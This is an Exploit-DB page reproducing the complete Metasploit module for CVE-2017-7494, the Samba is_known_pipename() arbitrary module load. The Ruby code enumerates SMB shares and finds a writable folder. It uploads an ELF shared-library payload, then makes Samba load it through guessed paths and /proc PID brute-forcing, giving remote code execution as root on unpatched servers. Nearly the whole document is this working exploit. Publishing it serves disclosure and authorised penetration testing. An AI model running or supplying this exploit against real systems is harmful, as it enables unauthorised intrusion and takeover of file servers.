Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipename()' Arbitrary Module Load (Metasploit)

  • 作者: Metasploit
    日期: 2017-05-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42084/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::SMB::Client
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
    'Description'=> %q{
    This module triggers an arbitrary shared library load vulnerability
    in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
    requires valid credentials, a writeable folder in an accessible share,
    and knowledge of the server-side path of the writeable folder. In
    some cases, anonymous access combined with common filesystem locations
    can be used to automatically exploit this vulnerability.
    },
    'Author' =>
    [
    'steelo <knownsteelo[at]gmail.com>',# Vulnerability Discovery
    'hdm',# Metasploit Module
    'Brendan Coles <bcoles[at]gmail.com>',# Check logic
    'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    [ 'CVE', '2017-7494' ],
    [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
    ],
    'Payload' =>
    {
    'Space' => 9000,
    'DisableNops' => true
    },
    'Platform'=> 'linux',
    #
    # Targets are currently limited by platforms with ELF-SO payload wrappers
    #
    'Targets' =>
    [
    
    [ 'Linux x86',{ 'Arch' => ARCH_X86 } ],
    [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
    #
    # Not ready yet
    # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
    # [ 'Linux MIPS', { 'Arch' => MIPS } ],
    ],
    'Privileged'=> true,
    'DisclosureDate'=> 'Mar 24 2017',
    'DefaultTarget' => 1))
    
    register_options(
    [
    OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
    OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
    OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
    ])
    
    register_advanced_options(
    [
    OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
    ])
    end
    
    
    def generate_common_locations
    candidates = []
    if datastore['SMB_SHARE_BASE'].to_s.length > 0
    candidates << datastore['SMB_SHARE_BASE']
    end
    
    %W{ /volume1 /volume2 /volume3 /volume4
    /shared /mnt /mnt/usb /media /mnt/media
    /var/samba /tmp /home /home/shared
    }.each do |base_name|
    candidates << base_name
    candidates << [base_name, @share]
    candidates << [base_name, @share.downcase]
    candidates << [base_name, @share.upcase]
    candidates << [base_name, @share.capitalize]
    candidates << [base_name, @share.gsub(" ", "_")]
    end
    
    candidates.uniq
    end
    
    def enumerate_directories(share)
    begin
    self.simple.connect("\\\\#{rhost}\\#{share}")
    stuff = self.simple.client.find_first("\\*")
    directories = [""]
    stuff.each_pair do |entry,entry_attr|
    next if %W{. ..}.include?(entry)
    next unless entry_attr['type'] == 'D'
    directories << entry
    end
    
    return directories
    
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
    vprint_error("Enum #{share}: #{e}")
    return nil
    
    ensure
    if self.simple.shares["\\\\#{rhost}\\#{share}"]
    self.simple.disconnect("\\\\#{rhost}\\#{share}")
    end
    end
    end
    
    def verify_writeable_directory(share, directory="")
    begin
    self.simple.connect("\\\\#{rhost}\\#{share}")
    
    random_filename = Rex::Text.rand_text_alpha(5)+".txt"
    filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
    
    wfd = simple.open(filename, 'rwct')
    wfd << Rex::Text.rand_text_alpha(8)
    wfd.close
    
    simple.delete(filename)
    return true
    
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
    vprint_error("Write #{share}#{filename}: #{e}")
    return false
    
    ensure
    if self.simple.shares["\\\\#{rhost}\\#{share}"]
    self.simple.disconnect("\\\\#{rhost}\\#{share}")
    end
    end
    end
    
    def share_type(val)
    [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
    end
    
    def enumerate_shares_lanman
    shares = []
    begin
    res = self.simple.client.trans(
    "\\PIPE\\LANMAN",
    (
    [0x00].pack('v') +
    "WrLeh\x00" +
    "B13BWz\x00"+
    [0x01, 65406].pack("vv")
    ))
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
    vprint_error("Could not enumerate shares via LANMAN")
    return []
    end
    if res.nil?
    vprint_error("Could not enumerate shares via LANMAN")
    return []
    end
    
    lerror, lconv, lentries, lcount = res['Payload'].to_s[
    res['Payload'].v['ParamOffset'],
    res['Payload'].v['ParamCount']
    ].unpack("v4")
    
    data = res['Payload'].to_s[
    res['Payload'].v['DataOffset'],
    res['Payload'].v['DataCount']
    ]
    
    0.upto(lentries - 1) do |i|
    sname,tmp = data[(i * 20) +0, 14].split("\x00")
    stype = data[(i * 20) + 14, 2].unpack('v')[0]
    scoff = data[(i * 20) + 16, 2].unpack('v')[0]
    scoff -= lconv if lconv != 0
    scomm,tmp = data[scoff, data.length - scoff].split("\x00")
    shares << [ sname, share_type(stype), scomm]
    end
    
    shares
    end
    
    def probe_module_path(path, simple_client=self.simple)
    begin
    simple_client.create_pipe(path)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
    vprint_error("Probe: #{path}: #{e}")
    end
    end
    
    def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs
    
    if datastore['SMB_FOLDER'].to_s.length > 0
    subdirs.unshift(datastore['SMB_FOLDER'])
    end
    
    subdirs.each do |subdir|
    next unless verify_writeable_directory(share, subdir)
    return subdir
    end
    
    nil
    end
    
    def find_writeable_share_path
    @path = nil
    share_info = enumerate_shares_lanman
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
    share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end
    
    share_info.each do |share|
    next if share.first.upcase == 'IPC$'
    found = find_writeable_path(share.first)
    next unless found
    @share = share.first
    @path= found
    break
    end
    end
    
    def find_writeable
    find_writeable_share_path
    unless @share && @path
    print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
    fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
    end
    
    def upload_payload
    begin
    self.simple.connect("\\\\#{rhost}\\#{@share}")
    
    random_filename = Rex::Text.rand_text_alpha(8)+".so"
    filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
    wfd = simple.open(filename, 'rwct')
    wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
    payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
    )
    wfd.close
    
    @payload_name = random_filename
    return true
    
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
    print_error("Write #{@share}#{filename}: #{e}")
    return false
    
    ensure
    if self.simple.shares["\\\\#{rhost}\\#{@share}"]
    self.simple.disconnect("\\\\#{rhost}\\#{@share}")
    end
    end
    end
    
    def find_payload
    
    # Reconnect to IPC$
    simple.connect("\\\\#{rhost}\\IPC$")
    
    # Look for common paths first, since they can be a lot quicker than hunting PIDs
    print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
    generate_common_locations.each do |location|
    target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
    print_status("Trying location #{target}...")
    probe_module_path(target)
    end
    
    # Exit early if we already have a session
    return if session_created?
    
    return unless datastore['BruteforcePID']
    
    # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
    #to non-root, but their /proc/pid directories are still owned by root. Trying to
    #read the /proc/other-pid/cwd/target.so results in permission denied. There is a
    #good chance that this still works on some embedded systems and odd-ball Linux.
    
    # Use the PID hunting strategy devised by Tavis Ormandy
    print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
    
    # Configure the main connection to have a working directory of the file share
    simple.connect("\\\\#{rhost}\\#{@share}")
    
    # Use a second connection to brute force the PID of the first connection
    probe_conn = connect(false)
    smb_login(probe_conn)
    probe_conn.connect("\\\\#{rhost}\\#{@share}")
    probe_conn.connect("\\\\#{rhost}\\IPC$")
    
    # Run from 2 to MAX_PID (ushort) trying to read the other process CWD
    2.upto(32768) do |pid|
    
    # Look for the PID associated with our main SMB connection
    target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
    vprint_status("Trying PID with target path #{target}...")
    probe_module_path(target, probe_conn)
    
    # Keep our main connection alive
    if pid % 1000 == 0
     self.simple.client.find_first("\\*")
    end
    end
    
    end
    
    def check
    res = smb_fingerprint
    
    unless res['native_lm'] =~ /Samba ([\d\.]+)/
    print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
    return CheckCode::Safe
    end
    
    samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
    
    vprint_status("Samba version identified as #{samba_version.to_s}")
    
    if samba_version < Gem::Version.new('3.5.0')
    return CheckCode::Safe
    end
    
    # Patched in 4.4.14
    if samba_version < Gem::Version.new('4.5.0') &&
     samba_version >= Gem::Version.new('4.4.14')
    return CheckCode::Safe
    end
    
    # Patched in 4.5.10
    if samba_version > Gem::Version.new('4.5.0') &&
     samba_version < Gem::Version.new('4.6.0') &&
     samba_version >= Gem::Version.new('4.5.10')
    return CheckCode::Safe
    end
    
    # Patched in 4.6.4
    if samba_version >= Gem::Version.new('4.6.4')
    return CheckCode::Safe
    end
    
    connect
    smb_login
    find_writeable_share_path
    disconnect
    
    if @share.to_s.length == 0
    print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
    return CheckCode::Detected
    end
    
    print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
    return CheckCode::Appears
    end
    
    def exploit
    # Setup SMB
    connect
    smb_login
    
    # Find a writeable share
    find_writeable
    
    # Upload the shared library payload
    upload_payload
    
    # Find and execute the payload from the share
    begin
    find_payload
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end
    
    # Cleanup the payload
    begin
    simple.connect("\\\\#{rhost}\\#{@share}")
    uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
    simple.delete(uploaded_path)
    rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
    end
    
    # Shutdown
    disconnect
    end
    
    end